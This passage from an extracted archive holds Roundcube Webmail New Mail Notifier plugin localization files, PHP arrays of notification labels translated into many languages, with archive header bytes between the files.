 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Паказваць апавяшчэнні аб атрыманні новых паведамленняў у браўзеры';
$labels['desktop'] = 'Паказваць апавяшчэнні аб атрыманні новых паведамленняў на працоўным стале';
$labels['sound'] = 'Агучваць атрыманне новых паведамленняў';
$labels['test'] = 'Праверыць';
$labels['title'] = 'Новы ліст!';
$labels['body'] = 'Вы атрымалі новае паведамленне.';
$labels['testbody'] = 'Гэта тэставае апавяшчэнне.';
$labels['desktopdisabled'] = 'Апавяшчэнні на працоўным стале адключаныя ў браўзеры.';
$labels['desktopunsupported'] = 'Ваш браўзер не падтрымлівае апавяшчэнні на працоўным стале.';
$labels['desktoptimeout'] = 'Зачыніць апавяшчэнне на працоўным стале';
PKh�\y��/plugins/newmail_notifier/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Показва известия в браузъра при ново писмо';
$labels['desktop'] = 'Показва известия на работния плот при ново писмо';
$labels['sound'] = 'Възпроизведи звук при ново писмо';
$labels['test'] = 'Тест';
$labels['title'] = 'Ново писмо!';
$labels['body'] = 'Получихте ново писмо.';
$labels['testbody'] = 'Това е тестово известие.';
$labels['desktopdisabled'] = 'Известията на работния плот са изключени за Вашия браузър.';
$labels['desktopunsupported'] = 'Вашият браузър не поддържа известия на работния плот.';
$labels['desktoptimeout'] = 'Затваряне на известие на работния плот';
PKh�\�H��hh/plugins/newmail_notifier/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Display browser notifications on new message';
$labels['desktop'] = 'Display desktop notifications on new message';
$labels['sound'] = 'Play the sound on new message';
$labels['test'] = 'Test';
$labels['title'] = 'New Email!';
$labels['body'] = 'You\'ve received a new message.';
$labels['testbody'] = 'This is a test notification.';
$labels['desktopdisabled'] = 'Desktop notifications are disabled in your browser.';
$labels['desktopunsupported'] = 'Your browser does not support desktop notifications.';
$labels['desktoptimeout'] = 'Close desktop notification';
PKh�\�0cc/plugins/newmail_notifier/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Näytä selainilmoitus uuden viestin saapuessa';
$labels['desktop'] = 'Näytä työpöytäilmoitus uuden viestin saapuessa';
$labels['sound'] = 'Toista ääni uuden viestin saapuessa';
$labels['test'] = 'Testaa';
$labels['title'] = 'Uutta sähköpostia!';
$labels['body'] = 'Sait uuden viestin.';
$labels['testbody'] = 'Tämä on testi-ilmoitus.';
$labels['desktopdisabled'] = 'Työpöytäilmoitukset on estetty selaimessa.';
$labels['desktopunsupported'] = 'Selaimesi ei tue työpöytäilmoituksia.';
$labels['desktoptimeout'] = 'Sulje työpöytäilmoitus';
PKh�\����\\/plugins/newmail_notifier/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Vis varsel i nettleseren ved ny melding';
$labels['desktop'] = 'Vis varsel på skrivebordet ved ny melding';
$labels['sound'] = 'Spill av lyd ved ny melding';
$labels['test'] = 'Test';
$labels['title'] = 'Ny e-post!';
$labels['body'] = 'Du har mottatt en ny melding';
$labels['testbody'] = 'Dette er et testvarsel.';
$labels['desktopdisabled'] = 'Skrivebordsvarsel er slått av i din nettleser.';
$labels['desktopunsupported'] = 'Din nettleser støtter ikke visning av varsel på skrivebordet.';
$labels['desktoptimeout'] = 'Lukk skrivebordsvarsling';
PKh�\���؎�/plugins/newmail_notifier/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Shfaqni njoftime shfletuesi kur ka mesazhe të rinj';
$labels['desktop'] = 'Shfaqni njoftime për desktop kur ka mesazhe të rinj';
$labels['sound'] = 'Kur ka mesazhe të rinj, luaj tingullin';
$labels['test'] = 'Test';
$labels['title'] = 'Email i ri!';
$labels['body'] = 'Morët një mesazh të ri.';
$labels['testbody'] = 'Ky është një njoftim test.';
$labels['desktopdisabled'] = 'Njoftimet për desktop janë të çaktivizuara te shfletuesi juaj.';
$labels['desktopunsupported'] = 'Shfletuesi juaj nuk mbulon njoftime për desktop.';
$labels['desktoptimeout'] = 'Mbylle njoftimin për desktop';
PKh�\�!��__/plugins/newmail_notifier/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Uue kirja saabumisel näita lehitsejas teavitust';
$labels['desktop'] = 'Uue kirja saabumisel näita töölaua teavitust';
$labels['sound'] = 'Uue kirja saabumisel mängi heli';
$labels['test'] = 'Proovi';
$labels['title'] = 'Uus kiri!';
$labels['body'] = 'Saabus uus kiri.';
$labels['testbody'] = 'See on teavituse proov.';
$labels['desktopdisabled'] = 'Töölaua märguanded on su veebilehitsejas keelatud.';
$labels['desktopunsupported'] = 'Sinu veebilehitseja ei toeta töölaua märguandeid.';
$labels['desktoptimeout'] = 'Sulge töölaua teavitus';
PKh�\|]@�LL/plugins/newmail_notifier/localization/ku_IQ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['test'] = 'تاقیکردنەوە';
PKh�\(�܌�/plugins/newmail_notifier/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Bistaratu nabigatzailearen jakinarazpenak mezu berrian';
$labels['desktop'] = 'Bistaratu sistemaren jakinarazpenak mezu berrian';
$labels['sound'] = 'Jo soinu bat mezu berriarekin';
$labels['test'] = 'Testa';
$labels['title'] = 'E-posta berria';
$labels['body'] = 'Mezu berria jaso duzu';
$labels['testbody'] = 'Hau jakinarazpen proba bat da';
$labels['desktopdisabled'] = 'Sistemaren jakinarazpenak ezgaituak daude zure nabigatzailean';
$labels['desktopunsupported'] = 'Zure nabigatzaileak ez ditu sistemaren jakinarazpenak onartzen.';
$labels['desktoptimeout'] = 'Itxi mahaigaineko jakinarazpena';
PKh�\���L}}/plugins/newmail_notifier/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Yeni iletiler web tarayıcıdan bildirilsin';
$labels['desktop'] = 'Yeni iletiler masaüstünden bildirilsin';
$labels['sound'] = 'Yeni ileti geldiğinde ses çalınsın';
$labels['test'] = 'Deneme';
$labels['title'] = 'Yeni ileti!';
$labels['body'] = 'Yeni bir iletiniz var.';
$labels['testbody'] = 'Bu bir test bildirimidir.';
$labels['desktopdisabled'] = 'Web tarayıcınızda masaüstü bildirimi devre dışı bırakıldı.';
$labels['desktopunsupported'] = 'Web tarayıcınız masaüstü bildirimlerini desteklemiyor';
$labels['desktoptimeout'] = 'Masaüstü bildirimini kapat';
PKh�\Y�~_��/plugins/newmail_notifier/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Mostrar notificación cuando haya nuevos mensajes';
$labels['desktop'] = 'Mostrar notificación en escritorio cuando haya nuevos mensajes';
$labels['sound'] = 'Reproducir sonido cuando haya nuevos mensajes';
$labels['test'] = 'Prueba';
$labels['title'] = 'Correo nuevo!';
$labels['body'] = 'Has recibido correo nuevo';
$labels['testbody'] = 'Esta es una notificación de prueba';
$labels['desktopdisabled'] = 'Las notificaciones en escritorio están deshabilitadas en tu navegador';
$labels['desktopunsupported'] = 'Tu navegador no soporta notificaciones en escritorio';
$labels['desktoptimeout'] = 'Cerrar notificación de escritorio';
PKh�\��nn,plugins/newmail_notifier/localization/ku.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Agahdariyên gerokê li ser peyama nû bide nîşan';
$labels['desktop'] = 'Agahdariyên sermasê li ser peyama nû bide nîşan';
$labels['sound'] = 'Deng li ser peyameke nû veke';
$labels['test'] = 'Test';
$labels['title'] = 'Emaila Nû!';
$labels['body'] = 'Peyameke te ya nû heye.';
$labels['testbody'] = 'Ev agahdariyeke testê ye.';
$labels['desktopdisabled'] = 'Agahdariyên sermasê di geroka te de girtî ne. ';
$labels['desktopunsupported'] = 'Geroka te bi agahdariyên sermasê re ne ahengdar e.';
$labels['desktoptimeout'] = 'Ahahadariya sermasê bigire';
PKh�\5�%��/plugins/newmail_notifier/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Exibir notificação quando uma nova mensagem chegar';
$labels['desktop'] = 'Exibir notificação no desktop quando uma nova mensagem chegar';
$labels['sound'] = 'Alerta sonoro quando uma nova mensagem chegar';
$labels['test'] = 'Testar';
$labels['title'] = 'Novo Email!';
$labels['body'] = 'Você recebeu uma nova mensagem.';
$labels['testbody'] = 'Essa é uma notificação de teste.';
$labels['desktopdisabled'] = 'As notificações no desktop estão desabilitadas no seu navegador.';
$labels['desktopunsupported'] = 'Seu navegador não suporta notificações no desktop';
$labels['desktoptimeout'] = 'Fechar notificação';
PKh�\�	Ӹ�/plugins/newmail_notifier/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Saņemot jaunu vēstuli, parādīt paziņojumu';
$labels['desktop'] = 'Saņemot jaunu vēstuli, parādīt darbavirsmas paziņojumu';
$labels['sound'] = 'Saņemot jaunu vēstuli, atskaņot skaņas signālu';
$labels['test'] = 'Pārbaudīt';
$labels['title'] = 'Jauns e-pasts!';
$labels['body'] = 'Jūs esat saņēmis jaunu vēstuli.';
$labels['testbody'] = 'Šis ir testa paziņojums.';
$labels['desktopdisabled'] = 'Darbavirsmas paziņojumi Jūsu pārlūkprogrammā ir atslēgti.';
$labels['desktopunsupported'] = 'Jūsu pārlūkprogramma neatbalsta darbavirsmas paziņojumus.';
$labels['desktoptimeout'] = 'Aizvērt darbavirsmas paziņojumu';
PKh�\zR褉�/plugins/newmail_notifier/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Zobraziť upozornenie v prehliadači pri novej správe';
$labels['desktop'] = 'Zobraziť upozornenie na ploche pri novej správe';
$labels['sound'] = 'Prehrať zvuk pri novej správe';
$labels['test'] = 'Otestovať';
$labels['title'] = 'Nová správa!';
$labels['body'] = 'Máte novú správu.';
$labels['testbody'] = 'Toto je skúšobné upozornenie.';
$labels['desktopdisabled'] = 'Upozornenia na ploche sú vo vašom prehliadači vypnuté.';
$labels['desktopunsupported'] = 'Váš prehliadač nepodporuje upozornenia na ploche.';
$labels['desktoptimeout'] = 'Zatvoriť notifikáciu na ploche';
PKh�\�栬�/plugins/newmail_notifier/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Zobrazit upozornění v prohlížeči při příchozí zprávě';
$labels['desktop'] = 'Zobrazit upozornění na ploše při příchozí zprávě';
$labels['sound'] = 'Přehrát zvuk při příchozí zprávě';
$labels['test'] = 'Vyzkoušet';
$labels['title'] = 'Nová zpráva!';
$labels['body'] = 'Dostali jste novou zprávu.';
$labels['testbody'] = 'Toto je zkouška upozornění.';
$labels['desktopdisabled'] = 'Upozornění na ploše jsou ve vašem prohlížeči vypnuté.';
$labels['desktopunsupported'] = 'Váš prohlížeč nepodporuje upozornění na ploše.';
$labels['desktoptimeout'] = 'Zavřít upozornění na ploše';
PKh�\��4��,plugins/newmail_notifier/localization/ti.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'ሓዱሽ መል እኽቲ ጠቆምቲ አብ ጎስጓሲ ይርአ';
$labels['desktop'] = 'ሓዱሽ መል እኽቲ ጠቆምቲ ኣብ ደስክቶፕ ይርአ';
$labels['sound'] = 'ሓዱሽ መል እኽቲ ምስዝመጽእ ድምጺ ይሰማዕ';
$labels['test'] = 'ፈተነ';
$labels['title'] = 'ሓድሽ ኢደብዳበ!';
$labels['body'] = 'ሓድሽ ኢደብዳበ በጺሑ አሎ::';
$labels['testbody'] = 'እዚ ጥቆማ ንፈተን ዝተገብረ እዩ::';
$labels['desktopdisabled'] = 'ናይ ደስክቶፕ ጠቆምቲ ተኸልኪሎማ አለዉ::';
$labels['desktopunsupported'] = 'እዚ ጎስጓሲ ናይ ደስክቶፕ ጠቆምቲ ኣይተገጠመሉን::';
PKh�\ZX�vv/plugins/newmail_notifier/localization/nl_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Geef browser melding weer bij een nieuw bericht';
$labels['desktop'] = 'Geef desktop meldingen weer bij een nieuw bericht';
$labels['sound'] = 'Speel het geluid af bij een nieuw bericht';
$labels['test'] = 'Test';
$labels['title'] = 'Nieuwe e-mail!';
$labels['body'] = 'Je hebt een nieuw bericht ontvangen.';
$labels['testbody'] = 'Dit is een test melding.';
$labels['desktopdisabled'] = 'Desktop meldingen zijn uitgeschakeld in uw browser.';
$labels['desktopunsupported'] = 'Uw browser ondersteund geen desktop meldingen.';
$labels['desktoptimeout'] = 'Sluit desktop melding';
PKh�\A�����/plugins/newmail_notifier/localization/uk_UA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Показувати у браузері сповіщення про нові повідомлення';
$labels['desktop'] = 'Показувати на робочому столі сповіщення про нові повідомлення';
$labels['sound'] = 'Програвати звук при появленні нового повідомлення';
$labels['test'] = 'Тест';
$labels['title'] = 'Нова пошта!';
$labels['body'] = 'Ви отримали нове повідомлення.';
$labels['testbody'] = 'Це тестове сповіщення';
$labels['desktopdisabled'] = 'Повідомлення на робочому столі відключені у вашому браузері.';
$labels['desktopunsupported'] = 'Ваш браузер не підтримує повідомлення на робочому столі.';
$labels['desktoptimeout'] = 'Закрити сповіщення робочого столу';
PKh�\���]]/plugins/newmail_notifier/localization/fy_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Toan browser notifikaasjes op nij berjocht';
$labels['desktop'] = 'Toan desktop notifikaasjes op nij berjocht';
$labels['sound'] = 'Spylje it lûd op nij berjocht';
$labels['test'] = 'Test';
$labels['title'] = 'Nije e-post!';
$labels['body'] = 'Jo hawwe in nij berjocht.';
$labels['testbody'] = 'Dit is in test notifikaasje.';
$labels['desktopdisabled'] = 'Desktop notifikaasjes binne útskeakele yn jo browser.';
$labels['desktopunsupported'] = 'Jo browser stipet gjin desktop notifikaasjes.';
$labels['desktoptimeout'] = 'Slút desktop notifikaasje';
PKh�\�\97ss/plugins/newmail_notifier/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Anzeige im Browser bei neuer Nachricht';
$labels['desktop'] = 'Desktop-Benachrichtigung bei neuer Nachricht';
$labels['sound'] = 'Akustische Meldung bei neuer Nachricht';
$labels['test'] = 'Test';
$labels['title'] = 'Neue E-Mail!';
$labels['body'] = 'Sie haben eine neue Nachricht';
$labels['testbody'] = 'Dies ist eine Testbenachrichtigung';
$labels['desktopdisabled'] = 'Desktop-Benachrichtigungen sind deaktiviert.';
$labels['desktopunsupported'] = 'Ihr Browser unterstützt keine Desktop-Benachrichtigungen.';
$labels['desktoptimeout'] = 'Anzeige im Browser schliessen';
PKh�\Y]���0plugins/newmail_notifier/localization/es_419.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Mostrar notificaciones del navegador en nuevos mensajes';
$labels['desktop'] = 'Mostrar notificaciones de escritorio en nuevos mensajes';
$labels['sound'] = 'Ejecutar sonido en nuevos mensajes';
$labels['test'] = 'Probar';
$labels['title'] = '¡Nuevo correo electrónico!';
$labels['body'] = 'Has recibido un nuevo correo electrónico.';
$labels['testbody'] = 'Esta es una notificación de prueba.';
$labels['desktopdisabled'] = 'Notificaciones de escritorio está deshabilitado en tu navegador.';
$labels['desktopunsupported'] = 'Tu navegador no soporta notificaciones de escritorio.';
$labels['desktoptimeout'] = 'Cerrar notificaciones de escritorio';
PKh�\|y<^��,plugins/newmail_notifier/localization/uz.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Yangi xat kelganda brauzer eslatmalarini tasvirlash';
$labels['desktop'] = 'Yangi xat kelganda ish stoli eslatmalarini tasvirlash';
$labels['sound'] = 'Yangi xat kelganda ovoz xabari berish';
$labels['test'] = 'Test';
$labels['title'] = 'Yangi xat!';
$labels['body'] = 'Siz yangi xat qabul qildingiz.';
$labels['testbody'] = 'Bu tekshirish maqsadida yuborilgan eslatma.';
$labels['desktopdisabled'] = 'Sizning brauzeringizda eslatmalar o‘chirilgan.';
$labels['desktopunsupported'] = 'Sizning brauzeringiz ish stoli eslatmalarini qo‘llab-quvvatla olmaydi.';
$labels['desktoptimeout'] = 'Ish stoli eslatmalarini yopish';
PKh�\Nr����/plugins/newmail_notifier/localization/hy_AM.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Ցուցադրել զննարկչի ծանուցում նոր հաղորդագրություն ստանալիս';
$labels['desktop'] = 'Ցուցադրել սեղանադրի ծանուցում նոր հաղորդագրություն ստանալիս';
$labels['sound'] = 'Ձայն հանել նոր հաղորդագրություն ստանալիս';
$labels['test'] = 'փորձարկում';
$labels['title'] = 'Նոր էլփոստ';
$labels['body'] = 'Դուք ստացաք նոր հաղորդագրություն';
$labels['testbody'] = 'Սա փորձնական ծանուցում է';
$labels['desktopdisabled'] = 'Սեղանադրի ծանուցումները Ձեր զննարկչում անջատված են';
$labels['desktopunsupported'] = 'Ձեր զննարկիչը չունի սեղանադրի ծանուցումների հնարավորություն։';
$labels['desktoptimeout'] = 'Փակել սեղանադրի ծանուցումը';
PKh�\�H��hh/plugins/newmail_notifier/localization/en_CA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Display browser notifications on new message';
$labels['desktop'] = 'Display desktop notifications on new message';
$labels['sound'] = 'Play the sound on new message';
$labels['test'] = 'Test';
$labels['title'] = 'New Email!';
$labels['body'] = 'You\'ve received a new message.';
$labels['testbody'] = 'This is a test notification.';
$labels['desktopdisabled'] = 'Desktop notifications are disabled in your browser.';
$labels['desktopunsupported'] = 'Your browser does not support desktop notifications.';
$labels['desktoptimeout'] = 'Close desktop notification';
PKh�\]�F44/plugins/newmail_notifier/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = '當有新郵件,顯示瀏覽器通知';
$labels['desktop'] = '當有新郵件,顯示桌面通知';
$labels['sound'] = '當有新郵件,播放音效';
$labels['test'] = '測試';
$labels['title'] = '有新郵件!';
$labels['body'] = '收到一封新郵件';
$labels['testbody'] = '這是測試通知';
$labels['desktopdisabled'] = '您的瀏覽器已停用桌面通知功能';
$labels['desktopunsupported'] = '您的瀏覽器不支援桌面通知功能';
$labels['desktoptimeout'] = '關閉桌面通知';
PKh�\����/plugins/newmail_notifier/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Mostra notificacions del navegador quan hi hagi un missatge nou';
$labels['desktop'] = 'Mostra notificacions de l\'escriptori quan hi hagi un missatge nou';
$labels['sound'] = 'Reprodueix el so quan hi hagi un missatge nou';
$labels['test'] = 'Prova';
$labels['title'] = 'Missatge nou!';
$labels['body'] = 'Heu rebut un missatge nou.';
$labels['testbody'] = 'Això és una notificació de prova.';
$labels['desktopdisabled'] = 'Les notificacions d\'escriptori estan deshabilitades al vostre navegador.';
$labels['desktopunsupported'] = 'El vostre navegador no permet les notificacions d\'escriptori.';
$labels['desktoptimeout'] = 'Tanca la notificació de l\'escriptori';
PKh�\S^� ��,plugins/newmail_notifier/localization/ia.incnu�[���<?php

/*
